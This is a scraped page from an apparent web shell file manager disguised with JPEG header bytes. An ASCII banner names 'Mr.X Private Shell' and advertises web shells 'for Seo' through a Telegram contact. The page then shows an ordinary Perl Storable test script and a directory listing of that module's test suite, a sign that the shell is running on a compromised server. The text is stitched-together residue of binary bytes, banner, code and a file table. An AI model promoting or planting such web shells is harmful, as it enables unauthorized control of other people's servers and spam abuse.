����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!./perl
use Test::More tests => 16;
use Storable ();
use warnings;
use strict;
package TEST;
sub make {
my $pkg = shift;
return bless { a => 1, b => 2 }, $pkg;
}
package TIED_HASH;
sub TIEHASH {
my $pkg = shift;
return bless { a => 1, b => 2 }, $pkg;
}
sub FETCH {
my ($self, $key) = @_;
return $self->{$key};
}
sub STORE {
my ($self, $key, $value) = @_;
$self->{$key} = $value;
}
sub FIRSTKEY {
my $self = shift;
keys %$self;
return each %$self;
}
sub NEXTKEY {
my $self = shift;
return each %{$self};
}
sub EXISTS {
my ($self, $key) = @_;
return exists $self->{$key};
}
package main;
{
my $obj = TEST->make;
is_deeply($obj, { a => 1, b => 2 }, "object contains correct data");
my $frozen = Storable::freeze($obj);
my ($t1, $t2) = Storable::thaw($frozen);
{
no warnings 'once';
local $Storable::flags = Storable::FLAGS_COMPAT();
$t2 = Storable::thaw($frozen);
}
is_deeply($t1, $t2, "objects contain matching data");
is(ref $t1, 'TEST', "default object is blessed");
is(ref $t2, 'TEST', "compat object is blessed into correct class");
my $t3 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
is_deeply($t2, $t3, "objects contain matching data (explicit test)");
is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test)");
my $t4 = Storable::thaw($frozen, Storable::BLESS_OK());
is_deeply($t2, $t3, "objects contain matching data (explicit test for bless)");
is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test for bless)");
{
no warnings 'once';
local $Storable::flags = Storable::FLAGS_COMPAT();
my $t5 = Storable::thaw($frozen, 0);
my $t6 = Storable::thaw($frozen, Storable::TIE_OK());
is_deeply($t1, $t5, "objects contain matching data");
is_deeply($t1, $t6, "objects contain matching data for TIE_OK");
is(ref $t5, 'HASH', "default object is unblessed");
is(ref $t6, 'HASH', "TIE_OK object is unblessed");
}
}
{
tie my %hash, 'TIED_HASH';
ok(tied %hash, "hash is tied");
my $obj = { bow => \%hash };
my $frozen = Storable::freeze($obj);
my $t1 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
my $t2 = eval { Storable::thaw($frozen); };
ok(!$@, "trying to thaw a tied value succeeds");
ok(tied %{$t1->{bow}}, "compat object is tied");
is(ref tied %{$t1->{bow}}, 'TIED_HASH', "compat object is tied into correct class");
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CVE-2015-1592.t | File | 534 B | 0644 |
|
| HAS_ATTACH.pm | File | 121 B | 0644 |
|
| HAS_HOOK.pm | File | 82 B | 0644 |
|
| HAS_OVERLOAD.pm | File | 185 B | 0644 |
|
| attach.t | File | 1007 B | 0644 |
|
| attach_errors.t | File | 6.64 KB | 0644 |
|
| attach_singleton.t | File | 2.5 KB | 0644 |
|
| blessed.t | File | 10.52 KB | 0644 |
|
| canonical.t | File | 3.46 KB | 0644 |
|
| circular_hook.t | File | 1.98 KB | 0644 |
|
| code.t | File | 7.29 KB | 0644 |
|
| compat01.t | File | 1.15 KB | 0644 |
|
| compat06.t | File | 3.25 KB | 0644 |
|
| croak.t | File | 949 B | 0644 |
|
| dclone.t | File | 2.28 KB | 0644 |
|
| destroy.t | File | 366 B | 0644 |
|
| downgrade.t | File | 15.76 KB | 0644 |
|
| file_magic.t | File | 13.23 KB | 0644 |
|
| flags.t | File | 2.32 KB | 0644 |
|
| forgive.t | File | 1.52 KB | 0644 |
|
| freeze.t | File | 2.55 KB | 0644 |
|
| huge.t | File | 3.22 KB | 0644 |
|
| hugeids.t | File | 7.61 KB | 0644 |
|
| integer.t | File | 5.81 KB | 0644 |
|
| interwork56.t | File | 5.95 KB | 0644 |
|
| just_plain_nasty.t | File | 4.29 KB | 0644 |
|
| leaks.t | File | 845 B | 0644 |
|
| lock.t | File | 1.01 KB | 0644 |
|
| make_56_interwork.pl | File | 1.45 KB | 0644 |
|
| make_downgrade.pl | File | 2.09 KB | 0644 |
|
| make_overload.pl | File | 177 B | 0644 |
|
| malice.t | File | 10.33 KB | 0644 |
|
| overload.t | File | 2.08 KB | 0644 |
|
| recurse.t | File | 7.92 KB | 0644 |
|
| regexp.t | File | 3.66 KB | 0644 |
|
| restrict.t | File | 3.49 KB | 0644 |
|
| retrieve.t | File | 3.02 KB | 0644 |
|
| robust.t | File | 309 B | 0644 |
|
| sig_die.t | File | 734 B | 0644 |
|
| st-dump.pl | File | 3.35 KB | 0644 |
|
| store.t | File | 3.25 KB | 0644 |
|
| testlib.pl | File | 863 B | 0644 |
|
| threads.t | File | 1.93 KB | 0644 |
|
| tied.t | File | 4.15 KB | 0644 |
|
| tied_hook.t | File | 4.63 KB | 0644 |
|
| tied_items.t | File | 1.11 KB | 0644 |
|
| tied_reify.t | File | 621 B | 0644 |
|
| tied_store.t | File | 924 B | 0644 |
|
| utf8.t | File | 1.17 KB | 0644 |
|
| utf8hash.t | File | 5.31 KB | 0644 |
|
| weak.t | File | 3.72 KB | 0644 |
|